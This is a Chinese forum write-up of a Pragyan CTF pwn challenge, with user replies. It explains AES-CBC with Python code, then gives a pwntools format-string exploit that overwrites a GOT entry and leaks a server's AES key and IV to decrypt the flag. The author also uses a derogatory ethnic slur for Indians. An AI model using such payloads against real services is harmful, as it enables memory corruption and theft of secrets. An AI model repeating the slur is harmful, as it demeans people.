首页
社区
课程
招聘
[原创]Pragyan CTF 最高分Unbreakable encryption--AES加密的WriteUp
2018-3-6 17:59 11616

[原创]Pragyan CTF 最高分Unbreakable encryption--AES加密的WriteUp

2018-3-6 17:59
11616
这是一道pwn aes加密方面的
做这道题我总结的经验就是前一天一定要睡好,不然会干一些很傻XX的事情!
题目提供 aes_enc,key.aes和iv.aes三个文件,问题就出在这里,下下来把ELF直接拖进IDA里看了,
后面拷入虚拟机的时候忘了还有key和iv运行的时候总是报错。自己强行的把难度加大了,自己慢慢推才推出来 key.aes和iv.aes两个文件和长度,
提交答案的时候才发现原来有密钥和偏移量的模板的,心里顿时响起了一万匹马在草里奔腾的声音。不说废话了进入 正题。

考察点的知识点:

  • AES加密
  • printf格式化漏洞 (ps:怎么又是你,能不能换个堆的UAF,double free)

知识点一:AES加密

正题。AES加密为对称加密算法,也就是说加密和解密的时候密钥都是一样的,和我们经常遇到的RSA算法不同。
先说一下AES加密的模式吧!

ECB(Electronic Code Book电子密码本)模式ECB模式是最早采用和最简单的模式,它将加密的数据分成若干组,每组的大小跟加密密钥长度相同,然后每组都用相同的密钥进行加密。 

优点:   1.简单;   2.有利于并行计算;  3.误差不会被扩散; 
缺点:   1.不能隐藏明文的模式;  2.可能对明文进行主动攻击; 因此,此模式适于加密小消息。 

CBC(Cipher Block Chaining,加密块链)模式 
优点:  不容易主动攻击,安全性好于ECB,适合传输长度长的报文,是SSL、IPSec的标准。 
缺点:  1.不利于并行计算;  2.误差传递;  3.需要初始化向量IV 

CFB(Cipher FeedBack Mode,加密反馈)模式
优点:  1.隐藏了明文模式;  2.分组密码转化为流模式;  3.可以及时加密传送小于分组的数据; 
缺点:  1.不利于并行计算;  2.误差传送:一个明文单元损坏影响多个单元;  3.唯一的IV; 

OFB(Output FeedBack,输出反馈)模式 
优点:  1.隐藏了明文模式;  2.分组密码转化为流模式;  3.可以及时加密传送小于分组的数据; 
缺点:  1.不利于并行计算;  2.对明文的主动攻击是可能的;  3.误差传送:一个明文单元损坏影响多个单元;


因为这道题只涉及CBC模式,重点就讲解这个模式吧!

CBC模式和前面的ECB模式不同,加密过程中多了一个偏移量IV。详解请看下图。

自己画的图 有点丑别介意。

EBC(Cipher Block Chaining,加密块链)模式 


CBC(Cipher Block Chaining,加密块链)模式 


一般涉及AES加密,s盒与逆s盒都是固定的,嘻嘻 如果你有能力去改当我没说。除此之外还有什么轮常量什么的。

所以如果是AES CBC模式,一般我们只关心密钥Key和偏移量IV 。

加密过程中一般输入的

key:

     长度为16(AES-128)、24(AES-192)、或32(AES-256)

IV:

     偏移量的长度一般为16.

data:

     数据的长度一般为16的整数倍,如果不满16怎么办?不满16不用负法律责任!哈哈。。。如果不满16后面的一般用0填充。

加密前的长度为16字节加密后一般也是16字节但是由字符串转成hex后长度乘以2就变成了32

这里贴一下实现的代码。

# -*- coding: utf-8 -*-
import sys  
from Crypto.Cipher import AES  
from binascii import b2a_hex,a2b_hex  
   
class prpcrypt():  
    def __init__(self, key,iv):  
        self.key = key  
        self.iv = iv
        self.mode = AES.MODE_CBC  
    def encrypt(self, text):  
        cryptor = AES.new(self.key, self.mode, self.iv)  
        #这里密钥key 长度必须为16(AES-128)、24(AES-192)、或32(AES-256)Bytes 长度.目前AES-128足够用  此处用的是AES-256
        length = 16  
        count = len(text)  
        if(count % length != 0) :  
            add = length - (count % length)  
        else:  
            add = 0  
        text = text + ('\0' * add)          #补充为16的整数倍
        self.ciphertext = cryptor.encrypt(text)  
        #因为AES加密时候得到的字符串不一定是ascii字符集的,输出到终端或者保存时候可能存在问题  
        #所以这里统一把加密后的字符串转化为16进制字符串  
        return b2a_hex(self.ciphertext)  
       
    #解密后,去掉补足的空格用strip() 去掉  
    def decrypt(self, text):  
        cryptor = AES.new(self.key, self.mode, self.iv)  
        plain_text = cryptor.decrypt(a2b_hex(text))  
        return plain_text.rstrip('\0')  
   
if __name__ == '__main__':  
    pc = prpcrypt('BEGIN-KEY{4x@$^%`w~d##*9}END-KEY','IV{212&5^V!-!}IV')      #初始化密钥和IV 
    _str_='1234567890123456'
    e = pc.encrypt(_str_)  
    d = pc.decrypt(e)
    print '被加密的字符串长 : '+str(len(_str_))
    print 'encrpt str is : '+e
    print 'decrypt str is : '+d
    _str_='12345678901234561'
    e = pc.encrypt(_str_)  
    d = pc.decrypt(e)
    print '被加密的字符串长 : '+str(len(_str_))
    print 'encrpt str is : '+e
    print 'decrypt str is : '+d


这里可以看出输入的16字节和17字节的区别。

AES告一段落了。


附上参考链接

http://blog.csdn.net/qq_28205153/article/details/55798628

http://blog.csdn.net/xiaowang627/article/details/56270206

https://en.wikipedia.org/wiki/Rijndael_S-box

http://blog.csdn.net/lrwwll/article/details/78069013  比较好的文章是一篇漫画


知识点2:格式化字符串漏洞。

详情可以看下我的另一篇文章https://bbs.pediy.com/thread-224564.htm。或者baidu。

这个格式化漏洞可以说是一个升级版的吧。因为涉及到修改5个字节。具体看题目吧!

题目:Unbreakable encryption


套路一个样 RELRO是partial,所以.got.plt 可写。

拖入IDA一眼就能看到漏洞以为很简单。


但是看了下右边发现了问题


got表只有几个,程序是用的静态编译的像printf,puts,strlen都被编译进了程序

所以不能写只能调用。显然出题者是不想要我们去执行system(“/bin/sh”)的你也可以去尝试一下,过程是相当的艰辛。

接着来来看重头戏。




两个函数read_aes_key和read_aes_IV明显是获取key和iv的

还有记得看下面的EVP_aes_256_cbc很明显这是aes256所以密钥的长度是32

这时我们就思路就很清晰了。可以去尝试打印s和v10吧!估计这是一个坑吧!

点进去一看




恰巧memset在got表中有所以我们将memset改为printf

但是。。。。。。。

为什么说但是呢?




因为程序执行到这里的时候就会报错进入handleError,具体原因笔者也没有去研究,有兴趣的可以去试一下。




以清晰的看到程序运行玩read_aes_iv恢复堆栈后栈中直接暴露了我们的key和iv。

所以只要我们想方设法打印出来即可这时候我们可以想到另外一个printf

里面的参数是ciphertext_msg




需要注意的的是一般字符串都是const型的也就是说只读不可写,但是这一个不一样。



哈哈权限都给我们

也就是说我们将字符串加入%12$x就可以刚好打印到iv以后在慢慢改就行了

难点就是这里,修改5个字节这里涉及到要按照先后顺序修改才行。


因为0x2078 < 0x2432 < 0x3125

所以我们 应该从小开始修改:

x1=9254
x2=2630
x3=685
payload = '\x80\xf0\x22\x08\x82\xF0\x22\x08\x84\xF0\x22\x08%.'+str(x1)+'x%8$hn%.'+str(x2)+'x%9$hn%.'+str(x3)+'x%7$hn'


运行一下payload

from pwn import *
import sys
context.arch = 'i386'
if len(sys.argv) < 2:
	p = process('./aes_enc')   
	context.log_level = 'debug'
	gdb.attach(p,'b *0x08048B18\nb *0x8048D22\nb *0x8048bfa')
else:   
	p = remote(sys.argv[1], int(sys.argv[2]))#
def welcome():
	log.info('start send')
	x1=9254
	x2=2630
	x3=685
	payload = '\x80\xf0\x22\x08\x82\xF0\x22\x08\x84\xF0\x22\x08%.'+str(x1)+'x%8$hn%.'+str(x2)+'x%9$hn%.'+str(x3)+'x%7$hn'#0822F018 -> 08111560 8112440 24323125 2e78 
	p.writeline(payload)
	log.info('send over') 
def exp():       
	welcome()
	p.interactive()
if __name__ == '__main__':
	exp()



慢慢修改x1,x2和x3

就可以爆出服务器上的key和IV

iv: 327b5649 35263231 2d21565e 56497d21

key: 49474542 454b2d4e 78347b59 255e2440 647e7760 392a2323 444e457d 59454b2d 


运行上面的aes

# -*- coding: utf-8 -*-
import sys  
from Crypto.Cipher import AES  
from binascii import b2a_hex,a2b_hex  
   
class prpcrypt():  
    def __init__(self, key,iv):  
        self.key = key  
        self.iv = iv
        self.mode = AES.MODE_CBC  
    def encrypt(self, text):  
        cryptor = AES.new(self.key, self.mode, self.iv)  
        #这里密钥key 长度必须为16(AES-128)、24(AES-192)、或32(AES-256)Bytes 长度.目前AES-128足够用  
        length = 16  
        count = len(text)  
        if(count % length != 0) :  
            add = length - (count % length)  
        else:  
            add = 0  
        text = text + ('\0' * add)  
        self.ciphertext = cryptor.encrypt(text)  
        #因为AES加密时候得到的字符串不一定是ascii字符集的,输出到终端或者保存时候可能存在问题  
        #所以这里统一把加密后的字符串转化为16进制字符串  
        return b2a_hex(self.ciphertext)  
       
    #解密后,去掉补足的空格用strip() 去掉  
    def decrypt(self, text):  
        cryptor = AES.new(self.key, self.mode, self.iv)  
        plain_text = cryptor.decrypt(a2b_hex(text))  
        return plain_text.rstrip('\0')  
   
if __name__ == '__main__':  
    pc = prpcrypt('BEGIN-KEY{4x@$^%`w~d##*9}END-KEY','IV{212&5^V!-!}IV')      #初始化密钥  
    d = pc.decrypt("4087681ab02373c46144b4c021f1630b73e90d38e4bdd83341642c4385d4540ef5bc8c02dbee0de8d629813a5fcb63bd")          
    print 'decrypt is : '+d

可以得到flag

题目链接:
       https://ctf.pragyan.org/

总结:

      印度阿三的想法就是怪!
       熟悉AES算法啊


阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

最后于 2018-3-6 18:23 被大帅锅编辑 ,原因:
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (4)
雪    币: 699
活跃值: (444)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
sakura零 4 2018-3-6 18:39
2
0
今天也在看这道题,不过思路一直是围绕getshell来的…劫持free_hook,跳回main无限写
雪    币: 16156
活跃值: (5966)
能力值: ( LV13,RANK:861 )
在线值:
发帖
回帖
粉丝
大帅锅 4 2018-3-6 18:55
3
0
sakura零 今天也在看这道题,不过思路一直是围绕getshell来的…劫持free_hook,跳回main无限写
开始我也是,但是printf  puts  strlen已经编译进程序了,阿三不想让我们拿到shell,就换了个想法!
雪    币: 699
活跃值: (444)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
sakura零 4 2018-3-6 18:57
4
0
大帅锅 开始我也是,但是printf puts strlen已经编译进程序了,阿三不想让我们拿到shell,就换了个想法!
拿得到0.0,在ctftime上面看了其他人提交的wp,是可以的,就是我还没调出来
雪    币: 16156
活跃值: (5966)
能力值: ( LV13,RANK:861 )
在线值:
发帖
回帖
粉丝
大帅锅 4 2018-3-6 19:11
5
0
sakura零 拿得到0.0,在ctftime上面看了其他人提交的wp,是可以的,就是我还没调出来
看了一下,确实可以,看来每个人想法都不一样!
游客
登录 | 注册 方可回帖
返回